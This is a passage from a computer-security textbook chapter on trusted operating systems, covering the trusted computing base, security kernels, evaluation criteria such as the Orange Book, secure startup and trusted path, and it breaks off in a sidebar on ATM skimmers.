• ease of use

Although these design principles were suggested several decades ago, they are as accurate now as they were when originally written. The principles have been used repeatedly and successfully in the design and implementation of numerous trusted sys- tems. More importantly, when security problems have been found in operating systems in the past, they almost always derive from failure to abide by one or more of these prin- ciples. These design principles led to the development of “trusted” computer systems or “trusted” operating systems.

Trusted Systems

Trusted systems can also help counter the malicious software problem. A trusted sys- tem is one that has been shown to warrant some degree of trust that it will perform certain activities faithfully, that is, in accordance with users’ expectations. Contrary to popular usage, “trusted” in this context does not mean hope, in the sense of “gee, I hope this system protects me from malicious code.” Hope is trust with little justification; trusted systems have convincing evidence to justify users’ trust. See Sidebar 5-4 for fur- ther discussion of the meaning of the word.

Trusted system: one with evidence to substantiate the claim it implements some function or policy

SIDEBAR 5-4 What Does “Trust” Mean for a System?

Before we begin to examine a trusted operating system in detail, let us look more carefully at the terminology involved in understanding and describing trust. What would it take for us to consider something to be secure?

The word secure reflects a dichotomy: Something is either secure or not secure. If secure, it should withstand all attacks, today, tomorrow, and a century from now. And if we claim that it is secure, you either accept our assertion (and buy and use it) or reject it (and either do not use it or use it but do not expect much from it).

How does security differ from quality? If we claim that something is good, you are less interested in our claims and more interested in an objec- tive appraisal of whether the thing meets your performance and function- ality needs. From this perspective, security is only one facet of goodness or quality; you may choose to balance security with other characteristics (such as speed or user friendliness) to select a system that is best, given the choices you may have. In particular, the system you build or select may be pretty good, even though it may not be as secure as you would like it to be.

Section 5.2 Security in the Design of Operating Systems 317

Security professionals prefer to speak of trusted instead of secure operating systems. A trusted system connotes one that meets the intended security requirements, is of high enough quality, and justifies the user’s con- fidence in that quality. That is, trust is perceived by the system’s receiver or user, not by its developer, designer, or manufacturer. As a user, you may not be able to evaluate that trust directly. You may trust the design, a profes- sional evaluation, or the opinion of a valued colleague. But in the end, it is your responsibility to sanction the degree of trust you require.

We say that software is trusted software if we know that the code has been rigorously developed and analyzed, giving us reason to trust that the code does what it is expected to do and nothing more. Typically, trusted code can be a foundation on which other, untrusted, code runs. That is, the untrusted system’s quality depends, in part, on the trusted code; the trusted code establishes the baseline for security of the overall system. In particular, an operating system can be trusted software when there is a rational or objective basis for trusting that it correctly controls the accesses of components or systems run from it.

To trust any program, we base our trust on rigorous analysis and test- ing, looking for certain key characteristics:

• Functional correctness. The program does what it is supposed to, and it works correctly.

• Enforcement of integrity. Even if presented erroneous commands or commands from unauthorized users, the program maintains the cor- rectness of the data with which it has contact.

• Limited privilege. The program is allowed to access secure data, but the access is minimized and neither the access rights nor the data are passed along to other untrusted programs or back to an untrusted caller.

• Appropriate confidence level. The program has been examined and rated at a degree of trust appropriate for the kind of data and environ- ment in which it is to be used.

Trusted software is often used as a safe way for general users to access sensitive data. Trusted programs are used to perform limited (safe) operations for users without allowing the users to have direct access to sensitive data.

There can be degrees of trust; unlike security, trust is not a dichotomy. For example, you trust certain friends with deep secrets, but you trust oth- ers only to give you the time of day. Trust is a characteristic that often grows over time, in accordance with evidence and experience. For instance, banks increase their trust in borrowers as the borrowers repay loans as expected; borrowers with good trust (credit) records can borrow larger amounts. Finally, trust is earned, not claimed or conferred.

The adjective trusted appears many times in this chapter, as in

• trusted process (a process that can affect system security, or a pro- cess whose incorrect or unsecure execution is capable of violating system security policy)


318 Chapter 5 Operating Systems

Trusted systems have three characteristics:

• a defined policy that details what security qualities it enforces

• appropriate measures and mechanisms by which it can enforce that security adequately

• independent scrutiny or evaluation to ensure that the mechanisms have been selected and implemented properly so that the security policy is in fact enforced.

History of Trusted Systems

Trusted systems have had a long and fitful history in computer security. The need for secure systems became apparent early in the days of multiuser, shared computing, in the 1960s. Willis Ware [WAR70] chaired a committee expressing the need for stronger security enforcement in systems. During the 1970s, research and actual systems dem- onstrated the capability of and need for such systems, culminating in the report from James Anderson’s committee [AND72] that called for development of a process for obtaining more trustworthy systems.

Starting with drafts in the late 1970s, the U.S. Department of Defense wrote the Trusted Computer System Evaluation Criteria (called the TCSEC or Orange Book, because of the color of its cover), a document that specified functionality, design princi- ples, and an evaluation methodology for trusted computer systems. Over time, the same approach was extended to network components and database management systems. For reasons we explain shortly, this scheme did not reach its intended degree of acceptance. Nevertheless, the TCSEC laid the groundwork for a progression of advancements on that foundation. Also important is that this progression started in the United States, but rapidly expanded to involve Canada, Germany, England, the Netherlands, and France

• trusted product (an evaluated and approved product), trusted soft- ware (the software portion of a system that can be relied upon to enforce security policy)

• trusted computing base (the set of all protection mechanisms within a computing system, including hardware, firmware, and software, that together enforce a unified security policy over a product or system)

• trusted system (a system that employs sufficient hardware and soft- ware integrity measures to allow its use for processing sensitive information)

These definitions are paraphrased from [NIS91]. Common to these definitions are the concepts of

• enforcement of security policy • sufficiency of measures and mechanisms • objective evaluation

Thus, the adjective trusted has a precise meaning in computer security.

SIDEBAR 5-4 Continued

Section 5.2 Security in the Design of Operating Systems 319

(as well as work in other countries), engendering a truly international approach to trusted computer sys- tems, depicted in the timeline of Figure 5-16.

The 1980s and 1990s saw several candidates for evaluating the degree of a system’s trustedness, and these approaches converged between 1995 and 2003 in an international process for evaluation, called the Common Criteria for Information Technology Secu- rity Evaluation. Today, thanks to that standard, the market has many products whose trustworthiness has been independently confirmed.

In the next section we examine the functions important to a trusted system. Then, in the following section, we briefly describe the current trusted system evaluation and certification process.

Trusted System Functions

Trusted systems contain certain functions to ensure security. In this section we look over several aspects of a trusted system, starting with the trusted computing base.

Trusted Computing Base (TCB)

The trusted computing base, or TCB, is the name we give to everything in the trusted operating system that is necessary to enforce the security policy. Alterna- tively, we say that the TCB consists of the parts of the trusted operating system on which we depend for cor- rect enforcement of policy.

Orange Book (TCSEC): First attempt to codify principles and requirements for secure computing systems

Trusted Computer System Evaluation Criteria

Security Technology Planning Study

British, German, French Criteria

Combined Federal Criteria

E.C. Information Technology Security Evaluation Criteria

Common Criteria

Security Controls for Computer Systems

1970 1983 1991 1994

1972 1988 1992

FIGURE 5-16 Trusted Systems Design and Evaluation Criteria

Trusted computing base (TCB): everything necessary for a system to enforce its security policy

320 Chapter 5 Operating Systems

We can think of the TCB as a coherent whole in the following way. Suppose you divide a trusted operating system into the parts that are in the TCB and those that are not, and you allow the most skillful malicious programmers to write all the non-TCB parts. Since the TCB handles all the security (including protecting itself), nothing the malicious non-TCB parts do can impair the correct security policy enforcement of the TCB. This definition gives you a sense that the TCB forms the fortress-like shell that protects whatever in the system needs protection. But the analogy also clarifies the meaning of trusted in trusted operating system: Our trust in the security of the whole system depends on the TCB.

Obviously, the TCB must be both correct and complete. Thus, to understand how to design a good TCB, we focus on the division between the TCB and non-TCB ele- ments of the operating system and concentrate our effort on ensuring the correctness of the TCB.

TCB Functions Just what constitutes the TCB? We can answer this question by listing system elements on which security enforcement could depend:

• hardware, including processors, memory, registers, a clock, and I/O devices

• some notion of processes, so that we can separate and protect security-critical processes

• primitive files, such as the security access control database and identification and authentication data

• protected memory, so that the reference monitor can be protected against tampering

• some interprocess communication, so that different parts of the TCB can pass data to and activate other parts; for example, the reference monitor can invoke and pass data securely to the audit routine

It may seem as if this list encompasses most of the operating system, but in fact the TCB is only a small subset. For example, although the TCB requires access to files of enforcement data, it does not need an entire file structure of hierarchical directories, virtual devices, indexed files, and multidevice files. Thus, the TCB might contain a primitive file manager to handle only the small, simple security data files needed for the TCB. The more complex file manager to provide externally visible files could be outside the TCB. Figure 5-17 shows a typical division into TCB and non-TCB sections.

The TCB, which must maintain the secrecy and integrity of each domain, monitors four basic interactions.

• Process activation. In a multiprogramming environment, activation and deac- tivation of processes occur frequently. Changing from one process to another requires a complete change of registers, relocation maps, file access lists, pro- cess status information, and other pointers, much of which is security-sensitive information.

• Execution domain switching. Processes running in one domain often invoke pro- cesses in other domains to obtain more or less sensitive data or services.

Section 5.2 Security in the Design of Operating Systems 321

• Memory protection. Because each domain includes code and data stored in memory, the TCB must monitor memory references to ensure secrecy and integ- rity for each domain.

• I/O operation. In some systems, software is involved with each character trans- ferred in an I/O operation. This software connects a user program in the outer- most domain to an I/O device in the innermost (hardware) domain. Thus, I/O operations can cross all domains.

TCB Design The division of the operating system into TCB and non-TCB aspects is convenient for designers and developers because it means that all security-relevant code is located in one (logical) part. But the distinction is more than just logical. To ensure that the secu- rity enforcement cannot be affected by non-TCB code, TCB code must run in some protected state that distinguishes it and protects it from interference or compromise by any code outside the TCB. Thus, the structuring into TCB and non-TCB must be done consciously.


Primitive I/O

Basic operations

Clocks, timing

Interrupt handling

Hardware: registers, memory


User request interpreter

User process coordination, synchronization

User environment: objects, names (e.g., files)

User I/O

Procedures, user processes

Creation and deletion of user objects


Extended types

Segmentation, paging, memory management

User applications



FIGURE 5-17 System Separated into TCB and Non-TCB Sections

322 Chapter 5 Operating Systems

However, once this structuring has been done, code outside the TCB can be changed at will, without affecting the TCB’s ability to enforce security. This ability to change helps developers because it means that major sections of the operating system— utilities, device drivers, user interface managers, and the like—can be revised or replaced any time; only the TCB code must be controlled more carefully. Finally, for anyone evalu- ating the security of a trusted oper- ating system, a division into TCB and non-TCB simplifies evaluation substantially because non-TCB code need not be considered.

TCB Implementation Security-related activities are likely to be performed in different places. Security is potentially related to every memory access, every I/O operation, every file or program access, every activation or termination of a user, every creation of a new execution thread, and every interprocess communication. In modular operating systems, these separate activities can be handled in independent modules. Each of these separate mod- ules, then, has both security-related and other functions.

Collecting all security functions into the TCB may destroy the modularity of an exist- ing operating system. A unified TCB may also be too large to be analyzed easily. Never- theless, a designer may decide to separate the security functions of an existing operating system, creating a security kernel. This form of kernel is depicted in Figure 5-18.

The TCB is separated to achieve self- protection and independence.


1: Hardware

2: Operating System Kernel: - Hardware interactions - Access control

3: Operating System: - Resource allocation - Sharing - Access control - Authentication functions

4: User Tasks

= Security activities

FIGURE 5-18 Security Kernel

Section 5.2 Security in the Design of Operating Systems 323

A more sensible approach is to design the security kernel first and then design the operating system around it. This technique was used by Honeywell in the design of a prototype for its secure operating system, Scomp. That system contained only twenty modules to perform the primitive security functions, and these modules consisted of fewer than 1,000 lines of higher-level-language source code. Once the actual security kernel of Scomp was built, its functions grew to contain approximately 10,000 lines of code.

In a security-based design, the security kernel forms an interface layer, just atop system hardware. The security kernel monitors all operating system hardware accesses and performs all protection functions. The security kernel, which relies on support from hardware, allows the operating system itself to handle most functions not related to security. In this way, the security kernel can be small and efficient. As a byproduct of this partitioning, computing systems have at least three execution domains: security kernel, operating system, and user. This situation was depicted in Figure 5-1 at the start of this chapter.

Secure Startup

Startup is a known weak point in system design. Before the operating system is fully functional, its protection capabilities are limited. As more pieces become operational, they exercise more complete control over the resources. During startup, the nature of the threats is also lowered because users are not yet active and network connections have not yet been established.

Designers of trusted systems recognized the vulnerability at system startup, espe- cially if it was a restart from a previous failure. Thus, trusted system design documents such as the Orange Book [DOD85] require developers to demonstrate that when the system starts, all secu- rity functions are working properly and no effects remain from any pre- vious system session.

Trusted Path

Critical to security is the association of a human user to an operating system’s internal construct of a subject. In Chapter 2 we detailed authentication techniques by which a user could prove an identity to the operating system.

But what about the other direction: A user cannot be expected to expose unique validating data to any software that requests it. (You would not—or at least should not—enter your password on any screen that prompts you.) As you well know, any moderately competent programmer can write code to pop up a box with fields for user name and password. How can you be assured the box comes from and passes entered data to the password manager?

How do you know that box is legitimate? This question is really just the other side of authentication: the application wants to ensure that you are who you say you are, but you also need to know that the application is what it says it is.

Secure startup ensures no malicious code can block or interfere with security enforcement.

324 Chapter 5 Operating Systems

This problem is difficult to solve at the application level, but at the operating sys- tem level it is a little easier to solve. A trusted path is an unforgeable connection by which the user can be confident of communicating directly with the operating system, not with any fraudulent intermediate application. In the early days of Microsoft Win- dows, the user had to press the control, alt, and delete keys simultaneously to activate the login prompt. The keyboard device driver trapped that one sequence and imme- diately transferred control to the operating system’s authentication routine. Thus, even if an applica- tion could forge a convincing-look- ing login screen, the user knew the only safe way to log in was to press control–alt–delete.

Trusted systems required a trusted path for all security-critical authentication opera- tions, such as changing a password. The Orange Book [DOD85] requires “a trusted communication path between itself and user for initial login and authentication. Com- munications via this path shall be initiated exclusively by a user.” Sidebar 5-5 describes a physical case in which the lack of a trusted path compromised security.

A trusted path precludes interference between a user and the security enforcement mechanisms of the operating system.

SIDEBAR 5-5 Milking the Skimmer

Journalist Brian Krebs has a series of reports on ATM skimmers. (See http:// and follow the links for other postings; note especially how authentic the devices look in the pictures.) A skimmer is a device that fits over the slot on an ATM machine into which you insert the bank card. The skimmer reads the information encoded on the bank card’s magnetic stripe and, in some models, a tiny camera photographs your hand as you enter your PIN. The criminal then downloads the data captured, and with the encoded information it has cap- tured, the criminal fabricates a duplicate bank card. Using your PIN, the criminal can then impersonate you to access your account.

ATM card fraud is prevalent in the United States, but few consum- ers are concerned because currently most banks reimburse the losses to individuals’ accounts. In Europe, however, banks take a harsher stance, making customers responsible for some losses. According to the European ATM Security Team, ATM crime rose 24 percent for the six-month peri